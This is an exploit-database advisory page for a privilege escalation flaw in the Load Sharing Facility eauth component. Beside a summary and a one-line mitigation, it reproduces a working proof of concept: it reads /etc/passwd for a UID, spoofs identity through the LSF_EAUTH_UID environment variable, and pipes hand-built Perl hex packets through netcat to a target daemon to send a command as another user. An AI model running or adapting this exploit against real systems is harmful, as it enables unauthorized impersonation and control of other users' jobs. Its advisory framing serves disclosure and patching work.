Load Sharing Facility eauth Component Privilege Escalation Vulnerability

vendor:

Load Sharing Facility eauth Component

by:

SecurityFocus

7.2

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: Load Sharing Facility eauth Component

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2004

Load Sharing Facility eauth Component Privilege Escalation Vulnerability

Load Sharing Facility eauth component has been reported prone to privilege escalation vulnerability. The eauth component is responsible for controlling authentication procedures within Load Sharing Facility. An issue has been reported where an attacker may send commands to Load Sharing Facility as any user. The issue presents itself because eauth uses an environment variable to determine the UID of the user invoking the binary. An attacker can use Perl and NetCat software to send packets to the target daemon.

Mitigation:

Update to the latest version of Load Sharing Facility eauth component.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/9724/info

Load Sharing Facility eauth component has been reported prone to privilege escalation vulnerability. The eauth component is responsible for controlling authentication procedures within Load Sharing Facility. An issue has been reported where an attacker may send commands to Load Sharing Facility as any user. The issue presents itself because eauth uses an environment variable to determine the UID of the user invoking the binary.

$cat /etc/passwd|grep cadence
cadence:x:500:500:Tomasz Grabowski:/home/cadence:/bin/bash
$ export LSF_EAUTH_UID=500
$ eauth -c hostname
,',0/%+-$%$&&,/)

Now, she needs to send packets. She can do it, for the sake of simplicity,
using Perl and NetCat software:

(
# first packet
perl -e 'print "\x04\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00";
print "\x00\x00\x00\x00";
'
sleep 1;

#let's call it a header, packet length
perl -e 'print "\x00\x04\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x40";
#below we provide UID, GID and length of user name
print "\x00\x00\x00\x00\x00\x00\x03\xee\x00\x00\x03\xee\x00\x00\x00\x07";
#below is the user name, end indicator, and probably auth data field length
print "\x63\x61\x64\x65\x6e\x63\x65\x00\x00\x00\x00\x03\x00\x00\x00\x10";
#again authentication length and auth data itself
print "\x00\x00\x00\x10\x2a\x30\x26\x24\x21\x25\x2e\x23\x2c\x23\x27\x2d";
#rest of auth data, end indicator, question code (x09 - bkill) and process number
print "\x2f\x28\x2b\x25\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00\x00\x77";
print "\x00\x00\x00\x00";
'
#send it to the target daemon
) | nc 192.168.10.106 6881